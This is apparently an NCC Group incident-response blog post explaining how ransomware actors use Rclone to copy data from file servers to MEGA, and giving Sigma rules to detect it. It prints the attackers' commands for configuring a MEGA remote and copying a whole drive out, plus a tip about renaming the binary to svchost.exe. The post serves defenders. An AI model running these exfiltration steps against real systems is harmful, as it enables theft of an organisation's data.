# Detecting Rclone – An Effective Tool for Exfiltration

research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/

May 27, 2021

NCC Group's Cyber Incident Response Team (CIRT) have responded to a large number of ransomware cases where frequently the open source tool Rclone being used for data exfiltration. Rclone provides an easy and effective way of copying data to an array of cloud storage providers. This blog post builds on the work by others [1][2] and provides additional methods of detection, including Sigma rules to assist with hunting in your own environment.

Frequently Rclone is used with a MEGA.io account to stage the exfiltrated data before it is made available on leak sites. In the case of Conti ransomware there are strong indications that once the data has been uploaded to MEGA it is being copied to another location using MEGAsync. More recently there has been a move away from solely using cloud storage providers and instead VPS hosting is being used as a destination for data exfiltration.

Internal file servers with unfiltered Internet access are common targets and frequently Rclone is left to run for a period of time spanning multiple hours, which provides the actor enough time to exfiltrate a large volume of data. In all cases observed so far, data exfiltration has taken place long before the ransomware is deployed, often days in advance.

Rclone requires a configuration to be created before it can connect to MEGA (or other cloud storage provider) which can be done in one of two ways:

On the command line:

```
.\rclone.exe config create remote mega user [redacted]@outlook.com pass [redacted]
```

The table below breaks down the command line profile creation.

| | |
|---|---|
| config | Initiates the configuration file being created |
| create | Creation of configuration file |
| remote | Name given to the remote profile being created (name can vary) |
| mega | Cloud storage provider |
| user | Username for the MEGA.io account |
| pass | Password for the MEGA.io account obscured |

Config Command Breakdown
Alternatively the inbuilt configuration guide can be used which walks through the process offering different options:

```
.\rclone.exe config
```

Once the profile has been created the following configuration file is created:

```
C:\Users\<username>\.config\rclone\rclone.conf
```

In a recent incident response engagement, NCC CIRT were able to recover a configuration file from this location which looked like the following:

```
[remote]
type = mega
user = [redacted]@outlook.com
pass = [redacted]
```

Once the configuration has been made it is possible to connect to MEGA and exfiltrate the data. In examples observed by NCC Group CIRT, actors have accessed file servers, browsed shared drives and then pointed Rclone at the drives like the example below.

```
.\rclone.exe copy E:\ remote:data
```

| | |
|---|---|
| copy | Command for copying data |
| E:\ | Drive or folder which data is to be copied from |
| remote | Specifies the remote profile created in the configuration stage |
| data | Folder on MEGA where the data is copied to |

Copy Command Breakdown
Once the data is being copied there is outbound traffic to subdomains of `userstorage.mega.co[.]nz` such as `gfs270n071.userstorage.mega.co[.]nz`. The domains typically resolve to IP addresses associate with the MEGA ASN 205809 but not in all cases. Where MEGA is not used, there is typically a large volume of outbound traffic to a single IP address which can be seen as a spike in any network monitoring.

In some cases actors have been observed changing the executable name to avoid detection. A recent case found the actor had renamed the Rclone binary to `svchost.exe` and placed it in the directory `C:\Windows\`.

**Sigma Rules**

The following Sigma rules has been created to aid in the detection of Rclone.

| | |
|---|---|
| Rclone Execution via Command Line or PowerShell | This rule detects the execution of Rclone. |
| Rclone config file creation | This Sigma rule will detect the creation of the Rclone configuration file. The Sysmon configuration must include the following for the FileCreate rule group.<br><br>`<TargetFilename name="rclone" condition="contains">\rclone\</TargetFilename>` |
| DNS Query for MEGA.io Upload Domain | This final rule will detect DNS queries for subdomains of `userstorage.mega.co[.]nz.` |

Sigma Rule Breakdown